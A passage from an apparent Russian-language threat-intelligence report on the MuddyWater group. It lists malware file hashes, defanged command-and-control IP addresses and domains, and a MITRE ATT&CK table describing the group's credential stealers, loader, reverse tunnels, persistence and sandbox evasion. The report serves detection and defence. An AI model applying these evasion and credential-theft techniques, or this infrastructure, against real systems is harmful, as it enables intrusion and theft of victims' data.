D518F5C648AB64B390A29AA2858219318CFC556A bd34a33f5bHOVby.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
DF223D653F761ED55F9C0774F1DBF545FD741F86 66f3e097e4tnyHR.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
DF8FC5213AA11EE445EAD1AAE17A826E7D51A743 Revoke.dll WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
E02DD79A8CAED662969F6D5D0792F2CB283116E8 66f3e097e4tnyHR.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
E8F4EA3857EF5FDFEC1A2063D707609251F207DB main.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
F26CAE9E79871DF3A47FA61A755DC028C18451FC 7295be2b1fAzMZI.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
FF09608790077E1BA52C03D9390E0805189ADAD7 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.
A9747A3F58F8F408FECEFC48DB0A18A1CB6DACAE AppVs.exe WinGo/TrojanProxy.Agent.D MuddyWater – обратный туннель go‑socks5.

Сеть

IP Домен Хостинг-провайдер Впервые замечено Детали
3.95.7[.]142 N/A Amazon Data Services NoVa 08.09.2024 Сервер C&C MuddyWater.
35.175.224[.]64 N/A Amazon Technologies Inc. 10.10.2024 Сервер C&C MuddyWater.
51.16.209[.]105 api.tikavodot.co[.]il Amazon Data Services Ireland Technical Role Account 15.09.2024 Сервер C&C MuddyWater.
62.106.66[.]112 N/A RIPE-NCC-HM-MNT, ORG-NCC1-RIPE 29.09.2024 Сервер staging MuddyWater.
157.20.182[.]45 N/A Hosterdaddy Private Limited 18.04.2024 Сервер staging MuddyWater.
161.35.172[.]55 N/A DigitalOcean, LLC 12.11.2022 Сервер staging MuddyWater.
167.99.224[.]13 magicallyday[.]com DigitalOcean, LLC 06.11.2022 Сервер C&C MuddyWater.
194.11.246[.]78 N/A HosterDaddy Private Limited 23.07.2024 Сервер C&C MuddyWater.
194.11.246[.]101 processplanet[.]org Administrator 27.08.2024 Сервер staging и C&C MuddyWater.
206.71.149[.]51 N/A BL Networks 30.10.2023 Сервер staging MuddyWater.
212.232.22[.]136 N/A HosterDaddy Private Limited 16.01.2025 Сервер C&C MuddyWater.

Техники MITRE ATT&CK

Эта таблица составлена с использованием версии 17 фреймворка MITRE ATT&CK.

Тактика ID Название Описание
Разведка T1591 Сбор информации о жертве MuddyWater собирает информацию о жертве для использования в фишинговых письмах.
Разработка ресурсов T1583 Приобретение инфраструктуры MuddyWater использует приобретенную инфраструктуру для размещения вредоносного ПО и C&C серверов.
T1608 Размещение возможностей MuddyWater размещает такие инструменты, как RMM-инструменты и стиллеры данных, на файловых хостингах, таких как OneHub и Mega Limited.
T1587.001 Разработка возможностей: вредоносное ПО MuddyWater разрабатывает бэкдоры, такие как MuddyViper, и инструменты, такие как загрузчик Fooder, стиллер учетных данных LP-Notes, а также стиллеры данных браузера Blub и CE-Notes.
T1588.002 Получение возможностей: Инструмент MuddyWater использует общедоступные инструменты с GitHub, такие как HackBrowserData и Go-based reverse proxies.
Первоначальный доступ T1566.002 Фишинг: Целевой фишинг со ссылкой MuddyWater использует фишинговые письма со ссылками на файловые хостинги, такие как OneHub и Mega Limited, для размещения RMM-инструментов (Atera, Level и PDQ).
Исполнение T1059.001 Интерфейс командной строки: PowerShell MuddyViper умеет открывать и выполнять PowerShell-скрипты.
T1059.003 Интерфейс командной строки: Командная строка Windows MuddyViper умеет предоставлять командную строку Windows в качестве обратного шелла.
T1559.001 Межпроцессное взаимодействие: COM MuddyViper использует COM-объект ITaskService для создания запланированной задачи для обеспечения персистентности.
T1106 Нативный API MuddyViper использует API CreateProcess для выполнения дополнительных файлов и команд.
T1204.001 Исполнение пользователем: Вредоносная ссылка Операторы MuddyWater полагаются на то, что жертвы кликнут по вредоносным ссылкам, доставленным через целевой фишинг.
Персистентность T1547.001 Автозапуск при загрузке или входе: Реестр автозагрузки / папка автозагрузки MuddyViper умеет копировать себя в папку автозагрузки жертвы.
T1543.003 Создание или изменение системного процесса: Служба Windows Операторы MuddyWater пытаются установить RMM-инструменты в %PROGRAMFILES%, что также включает создание службы Windows с автозапуском.
T1053 Запланированная задача/задание MuddyViper может обеспечить персистентность в виде запланированной задачи с именем ManageOnDriveUpdater.
Обход защиты T1134.001 Манипулирование токеном доступа: Имитация/кража токена Инструменты LP-Notes и CE-Notes пытаются имитировать контекст безопасности вошедшего пользователя через ImpersonateLoggedOnUser.
T1140 Деобфускация/декодирование файлов или информации Blub использует обфускацию строк для хранения украденных данных.
Fooder может извлекать встроенные AES-зашифрованные полезные нагрузки.
CE-Notes и LP-Notes используют пользовательскую побайтовую процедуру дешифрования для расшифровки строк.
T1620 Загрузка кода с отражением Загрузчик Fooder выполняет загрузку кода с отражением для запуска дополнительных инструментов (MuddyViper, реверс-туннели и HackingBrowserData).
T1497.003 Обход виртуализации/песочницы: Обход по времени MuddyViper использует множество вызовов функции sleep для обнаружения и избегания сред виртуализации и анализа, а также для общего замедления динамического анализа.
T1027.007 Обфускация файлов или информации: Динамическое разрешение API CE-Notes и LP-Notes выполняют динамическое разрешение API путем расшифровки строк во время выполнения.
T1134.002 Манипулирование токеном доступа: Создание процесса с токеном Загрузчик Fooder пытается дублировать токен процесса, указанного оператором, при запуске Fooder через CreateProcessAsUserA.
T1622 Обход отладчика MuddyViper ищет конкретные инструменты отладки, соответственно изменяя свое поведение.
T1070.009 Удаление индикаторов: Очистка персистентности MuddyViper может изменять ключи реестра, используемые для персистентности, если ему поручено удалить себя.
T1070.004 Удаление индикаторов: Удаление файлов MuddyViper может удалить себя с системы, если ему поручено удалить себя.
T1036 Маскировка Некоторые версии Fooder маскируются под безобидную игру Snake.
T1036.004 Маскировка: Маскировка задачи или службы MuddyViper может создать задачу с именем ManageOnDriveUpdater.
T1112 Изменение реестра MuddyViper может изменять ключи реестра HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell FoldersStartup и HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShell FoldersStartup, чтобы изменить расположение папки автозагрузки.
T1027.009 Обфускация файлов или информации: Встроенные полезные нагрузки Fooder может извлекать встроенную AES-зашифрованную полезную нагрузку.
T1027.013 Обфускация файлов или информации: Зашифрованный/кодированный файл Fooder может извлекать встроенную AES-зашифрованную полезную нагрузку.
Доступ к учетным данным T1555.003 Учетные данные из хранилищ паролей: Учетные данные из веб-браузеров CE-Notes и Blub пытаются украсть учетные данные, хранящиеся в браузерах.
T1056.002 Захват ввода: Захват GUI ввода MuddyViper и LP-Notes умеют отображать окно входа системы безопасности Windows для захвата учетных данных и подтверждения их подлинности путем передачи этих учетных данных легитимным API Windows.
Обнаружение T1082 Обнаружение информации о системе MuddyViper собирает информацию о системе с зараженных систем и отправляет ее обратно на C&C сервер.
T1518.001 Обнаружение ПО: Обнаружение ПО безопасности MuddyViper пытается получить список запущенных процессов, ищет процессы, связанные с безопасностью, и, если находит, сообщает о них на C&C сервер и изменяет свое поведение.
Сбор данных T1074.001 Сбор данных: Локальный сбор данных Blub, CE-Notes и LP-Notes сохраняют украденные учетные данные на диске для сбора и эксфильтрации MuddyViper, реверс-туннелями или RMM-инструментами.
T1560.001 Архивация собранных данных: Архивирование с помощью утилиты MuddyViper использует команду Compress-Archive PowerShell для сжатия данных браузера, собранных с помощью утилиты HackBrowserData.
Управление и контроль T1573.001 Зашифрованный канал: Симметричная криптография MuddyViper использует шифрование AES-CBC для шифрования данных перед обменом данными с C&C сервером.
T1219 Программное обеспечение для удаленного доступа MuddyWater использует RMM-инструменты Atera, Level и PDQ для удаленного доступа к системам жертв.
T1071.001 Протокол прикладного уровня: Веб-протоколы MuddyViper использует HTTPS для связи с C&C. Реверс-туннели используют смесь HTTP и HTTPS для связи с C&C.
T1105 Передача инструментов извне MuddyViper умеет скачивать дополнительные полезные нагрузки со своего C&C сервера.
T1001 Обфускация данных MuddyViper использует HTTPS для связи с C&C, используя заголовок Status для сокрытия ID команды бэкдора в направлении от сервера к клиенту.
T1090 Прокси MuddyWater использует кастомные версии инструментов реверс-прокси go‑socks5.
Эксфильтрация T1041 Эксфильтрация через C2-канал Инструменты MuddyWater эксфильтруют данные на C&C серверы, используя C&C каналы (HTTP и HTTPS).
T1030 Ограничение размера передаваемых данных MuddyViper поддерживает загрузку/выгрузку файлов по частям ограниченного размера.

Читать полный анализ на WeLiveSecurity →

Exit mobile version